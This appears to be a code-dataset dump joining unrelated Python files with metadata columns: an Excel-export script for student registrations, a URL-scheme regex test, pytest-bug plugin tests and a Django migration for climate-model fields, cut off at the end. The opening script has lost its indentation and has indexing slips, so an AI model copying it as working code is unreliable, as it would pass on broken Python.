active_sheet.cell(row=1 ,column=2).value = 'Register_sem'
active_sheet.cell(row=1 ,column=3).value = 'Subno'
active_sheet.cell(row=1 ,column=4).value = 'Sub_type'
workbook.save(r'output_individual_roll/'+Row[0]+'.xlsx')
return
output_individual_roll()
#output by subjects*************************
def output_by_subject():
#opening the file
open_file= open('regtable_old.csv','r')
with open_file:
for Row in open_file:
if os.path.exists(f"output_individual_roll/{Row[3]}.xlsx"):
workbook=openpyxl.load_workbook(r'output_individual_roll/'+Row[3]+'.xlsx')
active_sheet=workbook.active
sheet_present=active_sheet.max_row #counting no. of sheets
#adding the data with same roll no.
active_sheet.cell(row=sheet_present+1 ,column=1).value = Row[0] #for roll no.
active_sheet.cell(row=sheet_present+1 ,column=2).value = Row[1] #for register_sem
active_sheet.cell(row=sheet_present+1 ,column=3).value = Row[3] #for sub_no
active_sheet.cell(row=sheet_present+1 ,column=4).value = Row[8] #for sub_type
else: #if the file doesn't exist
workbook = Workbook()
active_sheet = workbook.active
active_sheet.cell(row=1 ,column=1).value = 'Rollno'
active_sheet.cell(row=1 ,column=2).value = 'Register_sem'
active_sheet.cell(row=1 ,column=3).value = 'Subno'
active_sheet.cell(row=1 ,column=4).value = 'Sub_type'
workbook.save(r'output_individual_roll/'+Row[3]+'.xlsx')
return
output_by_subject() | 42.042254 | 97 | 0.60335 | 400 | 2,985 | 4.3175 | 0.17 | 0.152866 | 0.138969 | 0.166763 | 0.875507 | 0.875507 | 0.874349 | 0.8674 | 0.8674 | 0.8674 | 0 | 0.023853 | 0.269682 | 2,985 | 71 | 98 | 42.042254 | 0.768349 | 0.141039 | 0 | 0.708333 | 0 | 0 | 0.110063 | 0.064465 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.083333 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d6fce1024a830778902aec30035d02679bffdc97 | 2,011 | py | Python | regexTest.py | ImprobabilityCast/SimpleSpider | 81c2ab370dee248c3e02443540a9ee38b23e3424 | [
"MIT"
] | null | null | null | regexTest.py | ImprobabilityCast/SimpleSpider | 81c2ab370dee248c3e02443540a9ee38b23e3424 | [
"MIT"
] | null | null | null | regexTest.py | ImprobabilityCast/SimpleSpider | 81c2ab370dee248c3e02443540a9ee38b23e3424 | [
"MIT"
] | null | null | null | import re
def main():
testReg = re.compile("((f|ht)tps?://)")
test = "s"
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "http"
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "ftp"
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "https"
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "://"
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = ":"
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "http:/"
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "http://"
if testReg.search(test) != None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "https://"
if testReg.search(test) != None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "www"
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "www."
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "http://www"
if testReg.search(test) != None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "http://www."
if testReg.search(test) != None:
print("Passed: " + test)
else:
print("Failed: " + test)
test = "."
if testReg.search(test) == None:
print("Passed: " + test)
else:
print("Failed: " + test)
if __name__ == "__main__":
main()
| 21.393617 | 43 | 0.476877 | 209 | 2,011 | 4.550239 | 0.110048 | 0.132492 | 0.22082 | 0.279706 | 0.93796 | 0.93796 | 0.93796 | 0.93796 | 0.93796 | 0.93796 | 0 | 0 | 0.347091 | 2,011 | 93 | 44 | 21.623656 | 0.724296 | 0 | 0 | 0.746667 | 0 | 0 | 0.156141 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.013333 | false | 0.186667 | 0.013333 | 0 | 0.026667 | 0.373333 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 10 |
ba77a34eddd48ba12528f3e9cb84ac2ab15d159f | 2,903 | py | Python | tests/test_bug_pattern.py | tolstislon/pytest-bug | 8e926de4b943167f5f869b72e212f67d5943d6bb | [
"MIT"
] | null | null | null | tests/test_bug_pattern.py | tolstislon/pytest-bug | 8e926de4b943167f5f869b72e212f67d5943d6bb | [
"MIT"
] | 5 | 2020-04-19T14:52:44.000Z | 2020-11-04T18:24:34.000Z | tests/test_bug_pattern.py | tolstislon/pytest-bug | 8e926de4b943167f5f869b72e212f67d5943d6bb | [
"MIT"
] | null | null | null | pytest_plugins = ("pytester",)
TESTS = """
import pytest
@pytest.mark.bug('C345 Invalid value', run=True)
def test_one():
assert True
@pytest.mark.bug('C346', 'Invalid type', run=True)
def test_two():
assert True
@pytest.mark.bug('Critical bug', issue='476', run=True)
def test_three():
assert True
@pytest.mark.bug('All is bad')
def test_four():
assert True
def test_five():
assert False
@pytest.mark.bug(2671, 'No Value', run=True)
def test_six():
assert True
"""
def test_search_start(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=^C34\d')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 2
assert outcomes['deselected'] == 4
def test_search_word(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=Invalid')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 2
assert outcomes['deselected'] == 4
def test_search_words(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=Invalid type')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 1
assert outcomes['deselected'] == 5
def test_search_ignore_case(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=invalid type')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 1
assert outcomes['deselected'] == 5
def test_search_ignore_case2(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=CrItIcAl bUg')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 1
assert outcomes['deselected'] == 5
def test_search_or(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=(C345|C346)')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 2
assert outcomes['deselected'] == 4
def test_search_any(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=.*')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 4
assert outcomes['deselected'] == 1
assert outcomes['skipped'] == 1
def test_search_kwargs(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=issue=476')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 1
assert outcomes['deselected'] == 5
def test_search_int(testdir):
testdir.makepyfile(TESTS)
result = testdir.runpytest(r'--bug-pattern=2671')
assert result.ret == 0
outcomes = result.parseoutcomes()
assert outcomes['passed'] == 1
assert outcomes['deselected'] == 5
| 26.153153 | 61 | 0.676197 | 356 | 2,903 | 5.438202 | 0.174157 | 0.137397 | 0.060434 | 0.134814 | 0.811983 | 0.756715 | 0.756715 | 0.756715 | 0.756715 | 0.756715 | 0 | 0.02401 | 0.182225 | 2,903 | 110 | 62 | 26.390909 | 0.791491 | 0 | 0 | 0.564706 | 0 | 0 | 0.283155 | 0.085429 | 0 | 0 | 0 | 0 | 0.4 | 1 | 0.105882 | false | 0.105882 | 0.011765 | 0 | 0.117647 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
ba883b362dd5f1d81b44dd38c957ab278842d079 | 45,674 | py | Python | isi_mip/climatemodels/migrations/0047_auto_20170118_1428.py | ISI-MIP/isimip | c2a78c727337e38f3695031e00afd607da7d6dcb | [
"MIT"
] | 4 | 2017-07-05T08:06:18.000Z | 2021-03-01T17:23:18.000Z | isi_mip/climatemodels/migrations/0047_auto_20170118_1428.py | ISI-MIP/isimip | c2a78c727337e38f3695031e00afd607da7d6dcb | [
"MIT"
] | 4 | 2020-01-31T09:02:57.000Z | 2021-04-20T14:04:35.000Z | isi_mip/climatemodels/migrations/0047_auto_20170118_1428.py | ISI-MIP/isimip | c2a78c727337e38f3695031e00afd607da7d6dcb | [
"MIT"
] | 4 | 2017-10-12T01:48:55.000Z | 2020-04-29T13:50:03.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2017-01-18 13:28
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('climatemodels', '0046_auto_20170117_1034'),
]
operations = [
migrations.AlterField(
model_name='agriculture',
name='calibrated_values',
field=models.TextField(blank=True, default='', null=True, verbose_name='Calibrated values'),
),
migrations.AlterField(
model_name='agriculture',
name='co2_effects',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='CO2 Effects'),
),
migrations.AlterField(
model_name='agriculture',
name='criteria_for_evaluation',
field=models.TextField(blank=True, default='', null=True, verbose_name='Criteria for evaluation (validation)'),
),
migrations.AlterField(
model_name='agriculture',
name='crop_cultivars',
field=models.TextField(blank=True, default='', null=True, verbose_name='Crop cultivars'),
),
migrations.AlterField(
model_name='agriculture',
name='crop_phenology',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Crop phenology'),
),
migrations.AlterField(
model_name='agriculture',
name='crop_residue',
field=models.TextField(blank=True, default='', null=True, verbose_name='Crop residue'),
),
migrations.AlterField(
model_name='agriculture',
name='crops',
field=models.TextField(blank=True, default='', null=True, verbose_name='Crops'),
),
migrations.AlterField(
model_name='agriculture',
name='evapo_transpiration',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Evapo-transpiration'),
),
migrations.AlterField(
model_name='agriculture',
name='fertilizer_application',
field=models.TextField(blank=True, default='', null=True, verbose_name='Fertilizer application'),
),
migrations.AlterField(
model_name='agriculture',
name='initial_crop_residue',
field=models.TextField(blank=True, default='', null=True, verbose_name='Initial crop residue'),
),
migrations.AlterField(
model_name='agriculture',
name='initial_soil_C_and_OM',
field=models.TextField(blank=True, default='', null=True, verbose_name='Initial soil C and OM'),
),
migrations.AlterField(
model_name='agriculture',
name='initial_soil_nitrate_and_ammonia',
field=models.TextField(blank=True, default='', null=True, verbose_name='Initial soil nitrate and ammonia'),
),
migrations.AlterField(
model_name='agriculture',
name='initial_soil_water',
field=models.TextField(blank=True, default='', null=True, verbose_name='Initial soil water'),
),
migrations.AlterField(
model_name='agriculture',
name='irrigation',
field=models.TextField(blank=True, default='', null=True, verbose_name='Irrigation'),
),
migrations.AlterField(
model_name='agriculture',
name='land_coverage',
field=models.TextField(blank=True, default='', null=True, verbose_name='Land cover'),
),
migrations.AlterField(
model_name='agriculture',
name='lead_area_development',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Lead area development'),
),
migrations.AlterField(
model_name='agriculture',
name='light_interception',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Light interception'),
),
migrations.AlterField(
model_name='agriculture',
name='light_utilization',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Light utilization'),
),
migrations.AlterField(
model_name='agriculture',
name='output_variable_and_dataset',
field=models.TextField(blank=True, default='', null=True, verbose_name='Output variable and dataset for calibration validation'),
),
migrations.AlterField(
model_name='agriculture',
name='parameters_number_and_description',
field=models.TextField(blank=True, default='', null=True, verbose_name='Parameters, number and description'),
),
migrations.AlterField(
model_name='agriculture',
name='planting_date_decision',
field=models.TextField(blank=True, default='', null=True, verbose_name='Planting date decision'),
),
migrations.AlterField(
model_name='agriculture',
name='planting_density',
field=models.TextField(blank=True, default='', null=True, verbose_name='Planting density'),
),
migrations.AlterField(
model_name='agriculture',
name='root_distribution_over_depth',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Root distribution over depth'),
),
migrations.AlterField(
model_name='agriculture',
name='soil_CN_modeling',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Soil CN modeling'),
),
migrations.AlterField(
model_name='agriculture',
name='spatial_scale_of_calibration_validation',
field=models.TextField(blank=True, default='', null=True, verbose_name='Spatial scale of calibration/validation'),
),
migrations.AlterField(
model_name='agriculture',
name='stresses_involved',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Stresses involved'),
),
migrations.AlterField(
model_name='agriculture',
name='temporal_scale_of_calibration_validation',
field=models.TextField(blank=True, default='', null=True, verbose_name='Temporal scale of calibration/validation'),
),
migrations.AlterField(
model_name='agriculture',
name='type_of_heat_stress',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Type of heat stress'),
),
migrations.AlterField(
model_name='agriculture',
name='type_of_water_stress',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Type of water stress'),
),
migrations.AlterField(
model_name='agriculture',
name='water_dynamics',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Water dynamics'),
),
migrations.AlterField(
model_name='agriculture',
name='yield_formation',
field=models.TextField(blank=True, default='', help_text='Methods for model calibration and validation', null=True, verbose_name='Yield formation'),
),
migrations.AlterField(
model_name='baseimpactmodel',
name='short_description',
field=models.TextField(blank=True, default='', help_text='This short description should assist other researchers in briefly describing the model in a paper.', null=True, verbose_name='Short model description'),
),
migrations.AlterField(
model_name='biomes',
name='closed_energy_balance',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='co2_effects',
field=models.TextField(blank=True, default='', null=True, verbose_name='CO2 effects'),
),
migrations.AlterField(
model_name='biomes',
name='considerations',
field=models.TextField(blank=True, default='', help_text='Things to consider, when calculating basic variables such as GPP, NPP, RA, RH from the model.', null=True),
),
migrations.AlterField(
model_name='biomes',
name='dynamic_vegetation',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='evapotranspiration_approach',
field=models.TextField(blank=True, default='', null=True, verbose_name='Evapo-transpiration approach'),
),
migrations.AlterField(
model_name='biomes',
name='heat_stress',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='latent_heat',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='light_interception',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='light_utilization',
field=models.TextField(blank=True, default='', help_text='photosynthesis, RUE-approach?', null=True),
),
migrations.AlterField(
model_name='biomes',
name='list_of_pfts',
field=models.TextField(blank=True, default='', help_text='Provide a list of PFTs using the folllowing format: [pft1_long_name] ([pft1_short_name]); [pft2_long_name] ([pft2_short_name]). Include long name in brackets if no short name is available.', null=True, verbose_name='List of PFTs'),
),
migrations.AlterField(
model_name='biomes',
name='mortality_age',
field=models.TextField(blank=True, default='', null=True, verbose_name='Age'),
),
migrations.AlterField(
model_name='biomes',
name='mortality_drought',
field=models.TextField(blank=True, default='', null=True, verbose_name='Drought'),
),
migrations.AlterField(
model_name='biomes',
name='mortality_fire',
field=models.TextField(blank=True, default='', null=True, verbose_name='Fire'),
),
migrations.AlterField(
model_name='biomes',
name='mortality_insects',
field=models.TextField(blank=True, default='', null=True, verbose_name='Insects'),
),
migrations.AlterField(
model_name='biomes',
name='mortality_other',
field=models.TextField(blank=True, default='', null=True, verbose_name='Other'),
),
migrations.AlterField(
model_name='biomes',
name='mortality_remarks',
field=models.TextField(blank=True, default='', null=True, verbose_name='Remarks'),
),
migrations.AlterField(
model_name='biomes',
name='mortality_stochastic_random_disturbance',
field=models.TextField(blank=True, default='', null=True, verbose_name='Stochastic random disturbance'),
),
migrations.AlterField(
model_name='biomes',
name='mortality_storm',
field=models.TextField(blank=True, default='', null=True, verbose_name='Storm'),
),
migrations.AlterField(
model_name='biomes',
name='nbp_comments',
field=models.TextField(blank=True, default='', null=True, verbose_name='Comments'),
),
migrations.AlterField(
model_name='biomes',
name='nbp_fire',
field=models.TextField(blank=True, default='', help_text='Indicate whether the model includes fire, and how the model accounts for the fluxes, i.e. what is the fate of the biomass? E.g. directly to atmsphere or let it go to other pool', null=True, verbose_name='Fire'),
),
migrations.AlterField(
model_name='biomes',
name='nbp_harvest',
field=models.TextField(blank=True, default='', help_text='Indicate whether the model includes harvest, and how the model accounts for the fluxes, i.e. what is the fate of the biomass? E.g. directly to atmsphere or let it go to other pool. 1: crops, 2: harvest from forest management, 3: harvest from grassland management.', null=True, verbose_name='Harvest'),
),
migrations.AlterField(
model_name='biomes',
name='nbp_landuse_change',
field=models.TextField(blank=True, default='', help_text='Indicate whether the model includes land-use change (e.g. deforestation harvest and otherland-use changes), and how the model accounts for the fluxes, i.e. what is the fate of the biomass? e.g. directly to atmsphere or let it go to other pool', null=True, verbose_name='Land-use change'),
),
migrations.AlterField(
model_name='biomes',
name='nbp_other',
field=models.TextField(blank=True, default='', null=True, verbose_name='Other processes'),
),
migrations.AlterField(
model_name='biomes',
name='nitrogen_limitation',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='output',
field=models.TextField(blank=True, default='', help_text='Is output (e.g. PFT cover) written out per grid-cell area or per land and water area within a grid cell, or land only?', null=True, verbose_name='Output format'),
),
migrations.AlterField(
model_name='biomes',
name='output_per_pft',
field=models.TextField(blank=True, default='', help_text='Is output per PFT per unit area of that PFT, i.e. requiring weighting by the fractional coverage of each PFT to get the gridbox average?', null=True, verbose_name='Output per PFT?'),
),
migrations.AlterField(
model_name='biomes',
name='permafrost',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='pfts_comments',
field=models.TextField(blank=True, default='', null=True, verbose_name='Comments'),
),
migrations.AlterField(
model_name='biomes',
name='phenology',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='root_distribution',
field=models.TextField(blank=True, default='', null=True, verbose_name='Root distribution over depth'),
),
migrations.AlterField(
model_name='biomes',
name='rooting_depth_differences',
field=models.TextField(blank=True, default='', help_text='Including how it changes', null=True, verbose_name='Differences in rooting depth'),
),
migrations.AlterField(
model_name='biomes',
name='sensible_heat',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='biomes',
name='soil_moisture_surface_temperature_coupling',
field=models.TextField(blank=True, default='', null=True, verbose_name='Coupling/feedback between soil moisture and surface temperature'),
),
migrations.AlterField(
model_name='biomes',
name='water_stress',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='energy',
name='bioenergy_supply_costs',
field=models.TextField(blank=True, default='', help_text='Include information on the functional forms and the data sources for deriving the supply curves', null=True, verbose_name='Bioenergy supply costs'),
),
migrations.AlterField(
model_name='energy',
name='biomass_types',
field=models.TextField(blank=True, default='', help_text='1st generation, 2nd generation, residues...', null=True, verbose_name='Biomass types'),
),
migrations.AlterField(
model_name='energy',
name='data_format_for_input',
field=models.TextField(blank=True, default='', null=True, verbose_name='Data format for input'),
),
migrations.AlterField(
model_name='energy',
name='factor_definition_and_calculation',
field=models.TextField(blank=True, default='', help_text='Are these endogenous or exogenous to the model?', null=True, verbose_name='Definition and calculation of variable potential and load factor'),
),
migrations.AlterField(
model_name='energy',
name='impact_types_energy_demand',
field=models.TextField(blank=True, default='', null=True, verbose_name='Energy demand (heating & cooling)'),
),
migrations.AlterField(
model_name='energy',
name='impact_types_other',
field=models.TextField(blank=True, default='', null=True, verbose_name='Other (agriculture, infrastructure, adaptation)'),
),
migrations.AlterField(
model_name='energy',
name='impact_types_temperature_effects_on_thermal_power',
field=models.TextField(blank=True, default='', null=True, verbose_name='Temperature effects on thermal power'),
),
migrations.AlterField(
model_name='energy',
name='impact_types_water_scarcity_impacts',
field=models.TextField(blank=True, default='', null=True, verbose_name='Water scarcity impacts'),
),
migrations.AlterField(
model_name='energy',
name='impact_types_weather_effects_on_renewables',
field=models.TextField(blank=True, default='', null=True, verbose_name='Weather effects on renewables'),
),
migrations.AlterField(
model_name='energy',
name='maximum_potential_assumption',
field=models.TextField(blank=True, default='', help_text='Which information source is used?', null=True, verbose_name='Maximum potential assumption'),
),
migrations.AlterField(
model_name='energy',
name='model_type',
field=models.TextField(blank=True, default='', null=True, verbose_name='Model type'),
),
migrations.AlterField(
model_name='energy',
name='output_economics',
field=models.TextField(blank=True, default='', null=True, verbose_name='Economics'),
),
migrations.AlterField(
model_name='energy',
name='output_energy_demand',
field=models.TextField(blank=True, default='', null=True, verbose_name='Energy demand (heating & cooling)'),
),
migrations.AlterField(
model_name='energy',
name='output_energy_supply',
field=models.TextField(blank=True, default='', null=True, verbose_name='Energy supply'),
),
migrations.AlterField(
model_name='energy',
name='output_other',
field=models.TextField(blank=True, default='', null=True, verbose_name='Other (agriculture, infrastructure, adaptation)'),
),
migrations.AlterField(
model_name='energy',
name='output_water_scarcity',
field=models.TextField(blank=True, default='', null=True, verbose_name='Water scarcity'),
),
migrations.AlterField(
model_name='energy',
name='response_function_of_energy_demand_to_HDD_CDD',
field=models.TextField(blank=True, default='', help_text='Including equations where appropriate', null=True, verbose_name='Response function of energy demand to HDD/CDD'),
),
migrations.AlterField(
model_name='energy',
name='socioeconomic_input',
field=models.TextField(blank=True, default='', help_text='Are SSP storylines implemented, or just GDP and population scenarios?', null=True, verbose_name='Socio-economic input'),
),
migrations.AlterField(
model_name='energy',
name='temporal_extent',
field=models.TextField(blank=True, default='', null=True, verbose_name='Temporal extent'),
),
migrations.AlterField(
model_name='energy',
name='temporal_resolution',
field=models.TextField(blank=True, default='', null=True, verbose_name='Temporal resolution'),
),
migrations.AlterField(
model_name='energy',
name='variables_not_directly_from_GCMs',
field=models.TextField(blank=True, default='', help_text='How are these calculated (including equations)?', null=True, verbose_name='Variables not directly from GCMs'),
),
migrations.AlterField(
model_name='forests',
name='closed_energy_balance',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='co2_effects',
field=models.TextField(blank=True, default='', null=True, verbose_name='CO2 effects'),
),
migrations.AlterField(
model_name='forests',
name='considerations',
field=models.TextField(blank=True, default='', help_text='Things to consider, when calculating basic variables such as GPP, NPP, RA, RH from the model.', null=True),
),
migrations.AlterField(
model_name='forests',
name='dynamic_vegetation',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='evapotranspiration_approach',
field=models.TextField(blank=True, default='', null=True, verbose_name='Evapo-transpiration approach'),
),
migrations.AlterField(
model_name='forests',
name='heat_stress',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='latent_heat',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='light_interception',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='light_utilization',
field=models.TextField(blank=True, default='', help_text='photosynthesis, RUE-approach?', null=True),
),
migrations.AlterField(
model_name='forests',
name='list_of_pfts',
field=models.TextField(blank=True, default='', help_text='Provide a list of PFTs using the folllowing format: [pft1_long_name] ([pft1_short_name]); [pft2_long_name] ([pft2_short_name]). Include long name in brackets if no short name is available.', null=True, verbose_name='List of PFTs'),
),
migrations.AlterField(
model_name='forests',
name='mortality_age',
field=models.TextField(blank=True, default='', null=True, verbose_name='Age'),
),
migrations.AlterField(
model_name='forests',
name='mortality_drought',
field=models.TextField(blank=True, default='', null=True, verbose_name='Drought'),
),
migrations.AlterField(
model_name='forests',
name='mortality_fire',
field=models.TextField(blank=True, default='', null=True, verbose_name='Fire'),
),
migrations.AlterField(
model_name='forests',
name='mortality_insects',
field=models.TextField(blank=True, default='', null=True, verbose_name='Insects'),
),
migrations.AlterField(
model_name='forests',
name='mortality_other',
field=models.TextField(blank=True, default='', null=True, verbose_name='Other'),
),
migrations.AlterField(
model_name='forests',
name='mortality_remarks',
field=models.TextField(blank=True, default='', null=True, verbose_name='Remarks'),
),
migrations.AlterField(
model_name='forests',
name='mortality_stochastic_random_disturbance',
field=models.TextField(blank=True, default='', null=True, verbose_name='Stochastic random disturbance'),
),
migrations.AlterField(
model_name='forests',
name='mortality_storm',
field=models.TextField(blank=True, default='', null=True, verbose_name='Storm'),
),
migrations.AlterField(
model_name='forests',
name='nbp_comments',
field=models.TextField(blank=True, default='', null=True, verbose_name='Comments'),
),
migrations.AlterField(
model_name='forests',
name='nbp_fire',
field=models.TextField(blank=True, default='', help_text='Indicate whether the model includes fire, and how the model accounts for the fluxes, i.e. what is the fate of the biomass? E.g. directly to atmsphere or let it go to other pool', null=True, verbose_name='Fire'),
),
migrations.AlterField(
model_name='forests',
name='nbp_harvest',
field=models.TextField(blank=True, default='', help_text='Indicate whether the model includes harvest, and how the model accounts for the fluxes, i.e. what is the fate of the biomass? E.g. directly to atmsphere or let it go to other pool. 1: crops, 2: harvest from forest management, 3: harvest from grassland management.', null=True, verbose_name='Harvest'),
),
migrations.AlterField(
model_name='forests',
name='nbp_landuse_change',
field=models.TextField(blank=True, default='', help_text='Indicate whether the model includes land-use change (e.g. deforestation harvest and otherland-use changes), and how the model accounts for the fluxes, i.e. what is the fate of the biomass? e.g. directly to atmsphere or let it go to other pool', null=True, verbose_name='Land-use change'),
),
migrations.AlterField(
model_name='forests',
name='nbp_other',
field=models.TextField(blank=True, default='', null=True, verbose_name='Other processes'),
),
migrations.AlterField(
model_name='forests',
name='nitrogen_limitation',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='output',
field=models.TextField(blank=True, default='', help_text='Is output (e.g. PFT cover) written out per grid-cell area or per land and water area within a grid cell, or land only?', null=True, verbose_name='Output format'),
),
migrations.AlterField(
model_name='forests',
name='output_per_pft',
field=models.TextField(blank=True, default='', help_text='Is output per PFT per unit area of that PFT, i.e. requiring weighting by the fractional coverage of each PFT to get the gridbox average?', null=True, verbose_name='Output per PFT?'),
),
migrations.AlterField(
model_name='forests',
name='permafrost',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='pfts_comments',
field=models.TextField(blank=True, default='', null=True, verbose_name='Comments'),
),
migrations.AlterField(
model_name='forests',
name='phenology',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='root_distribution',
field=models.TextField(blank=True, default='', null=True, verbose_name='Root distribution over depth'),
),
migrations.AlterField(
model_name='forests',
name='rooting_depth_differences',
field=models.TextField(blank=True, default='', help_text='Including how it changes', null=True, verbose_name='Differences in rooting depth'),
),
migrations.AlterField(
model_name='forests',
name='sensible_heat',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='forests',
name='soil_moisture_surface_temperature_coupling',
field=models.TextField(blank=True, default='', null=True, verbose_name='Coupling/feedback between soil moisture and surface temperature'),
),
migrations.AlterField(
model_name='forests',
name='water_stress',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='inputdata',
name='description',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='inputdata',
name='download_instructions',
field=models.TextField(blank=True, default='', null=True),
),
migrations.AlterField(
model_name='inputdatainformation',
name='soil_dataset',
field=models.TextField(blank=True, default='', help_text='HWSD or GSWP3 were provided', null=True, verbose_name='Soil dataset'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='defining_features',
field=models.TextField(blank=True, default='', null=True, verbose_name='Defining features'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='fishbase_used_for_mass_length_conversion',
field=models.TextField(blank=True, default='', null=True, verbose_name='Is FishBase used for mass-length conversion?'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='spatial_dispersal_included',
field=models.TextField(blank=True, default='', null=True, verbose_name='Spatial dispersal included'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='spatial_resolution',
field=models.TextField(blank=True, default='', null=True, verbose_name='Spatial resolution'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='spatial_scale',
field=models.TextField(blank=True, default='', null=True, verbose_name='Spatial scale'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='taxonomic_scope',
field=models.TextField(blank=True, default='', null=True, verbose_name='Taxonomic scope'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='temporal_resolution',
field=models.TextField(blank=True, default='', null=True, verbose_name='Temporal resolution'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='temporal_scale',
field=models.TextField(blank=True, default='', null=True, verbose_name='Temporal scale'),
),
migrations.AlterField(
model_name='marineecosystemsglobal',
name='vertical_resolution',
